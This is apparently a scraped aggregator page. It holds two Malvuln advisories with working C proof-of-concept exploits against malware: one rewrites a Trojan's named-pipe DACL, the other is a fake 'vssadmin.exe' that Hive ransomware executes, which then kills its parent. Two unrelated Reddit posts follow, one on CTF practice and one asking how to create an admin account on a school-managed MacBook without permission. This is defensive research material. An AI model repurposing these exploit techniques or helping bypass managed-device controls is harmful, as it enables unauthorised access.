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Exploit Collector
Trojan.Win32.Autoit.fhj MVID-2022-0638 NULL DACL

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png Trojan.Win32.Autoit.fhj malware creates two processes "xservice.exe" and a child process "xps.exe". The process creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

SHA-256 | 9841ae12eb6bf5ae767a59bd72cbbd7fd293da629995025465c618d5121bbc7eDownload Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/d871836f77076eeed87eb0078c1911c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Autoit.fhj
Vulnerability: Named Pipe Null DACL
Family: Autoit
Type: PE32
MD5: d871836f77076eeed87eb0078c1911c7
Vuln ID: MVID-2022-0638
Disclosure: 09/06/2022
Description: The malware creates two processes "xservice.exe" and a child process "xps.exe". The process creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

RManFUSCallbackNotify32
RManFUSServerNotify32

\\.\Pipe\RManFUSCallbackNotify32
RW Everyone

Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.

Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

/*
Trojan.Win32.Autoit.fhj.d871836f77076eeed87eb0078c1911c7
NamedPipe Exploit Deny Access to Everyone
By Malvuln
**/

#define VULN_TROJAN_PIPE "\\\\.\\pipe\\RManFUSCallbackNotify32"

int main(void){

HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;

if (hPipe == INVALID_HANDLE_VALUE){
printf("%d", GetLastError());
return 1;
}

if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

TRUSTEE trustee[1];
trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
trustee[0].ptstrName = TEXT("Everyone");
trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
trustee[0].pMultipleTrustee = NULL;

EXPLICIT_ACCESS explicit_access_list[1];
ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));

explicit_access_list[0].grfAccessMode = DENY_ACCESS;
explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
explicit_access_list[0].grfInheritance = NO_INHERITANCE;
explicit_access_list[0].Trustee = trustee[0];

if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}else{
printf("Trojan.Win32.Autoit.fhj PWNED!\n");
printf("By Malvuln\n");
}

LocalFree(pNewDACL);
LocalFree(pOldDACL);
CloseHandle(hPipe);

system("pause");

return 0;
}

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Exploit Collector
Trojan-Ransom.Win32.Hive.bv MVID-2022-0636 Code Execution

https://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png
Trojan-Ransom.Win32.Hive.bv malware suffers from a code execution vulnerability.

SHA-256 | f83469a387bb85b1095ec29c4bce40b4dee2ed888fd5d49f25e84791155b9806

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/44aba241dd3f0d156c6ed82a0ab3a9e1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Ransom.Win32.Hive.bv
Vulnerability: Arbitrary Code Execution
Description: Hive Ransomware will load and execute arbitrary .EXE PE files if a third-party adversary or defender uses the vulnerable naming convention of "vssadmin.exe" or "wmic.exe" and the PE file is placed in the vacinity of Hive Ransomware when it is executed.
Family: Hive
Type: PE64
MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1
Vuln ID: MVID-2022-0636
Disclosure: 09/06/2022
Exploit/PoC:
1) Compile to "vssadmin.exe"
2) Supplying Hive CL credentials e.g. -u <login:<password

"vssadmin.c"

#include "windows.h"
#include "tlhelp32.h"
#include "psapi.h"

//Compiled x64
//By Malvuln - 2022
//Purpose: RCE PWN Hive Ransomware
//MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1
/** DISCLAIMER:
Author is NOT responsible for any damages whatsoever by using this software or improper malware
handling. By using this code you assume and accept all risk implied or otherwise.
**/

DWORD getParentPID(DWORD pid){
HANDLE h32 = NULL;
PROCESSENTRY32 pe = {0};
DWORD ppid = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
h32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(h32, &pe)){
do{
if (pe.th32ProcessID == pid){
ppid = pe.th32ParentProcessID;
break;
}
} while( Process32Next(h32, &pe));
}
CloseHandle(h32);
return (ppid);
}

int main(void){
DWORD ppid = getParentPID(GetCurrentProcessId());
HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, ppid);
if (NULL != handle) {
TerminateProcess(handle, 0);
CloseHandle(handle);
MessageBox(NULL, "Not the vssadmin.exe you wanted :(\nHive Ransomware PWNED!\n\nBy Malvuln", "Code Execution PoC\n", MB_OK);
}
return 0;
}
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com
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hacking: security in practice
How to get better at CTFs?

Hey I'm a pretty new beginner and I've been struggling with CTFs. I find them really fun when I know what I'm doing . I have started with PicoCTF and got through about 4 different challenges but I'm stumped on the ones after. I feel like sometimes I just don't know what to do with the hints at all. I'll take a glance at a write up sometimes but it makes me feel bad because I didn't figure it out myself. Any tips? I haven't tried any in Tryhackme or Hackthebox yet because I'm not sure if I'm ready. Also as far as I know , Tryhackme doesn't seem to have a way to participate without using their in-web VM?? Might be wrong about that , but I'd prefer to use my own.

Thanks for advice in advance!!

submitted by /u/KeyboardRacc00n
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hacking: security in practice
school laptop

I want to make a new admin account on my school laptop so that i can download games on it, the problem is i cant access recovery mode to do any of the commands. does anyone know any other way to make a new account without permissions or recovery mode? (its a macbook air, 12.5.1, montery m1 chip)

submitted by /u/Sea_Scale1704
[link] [comments]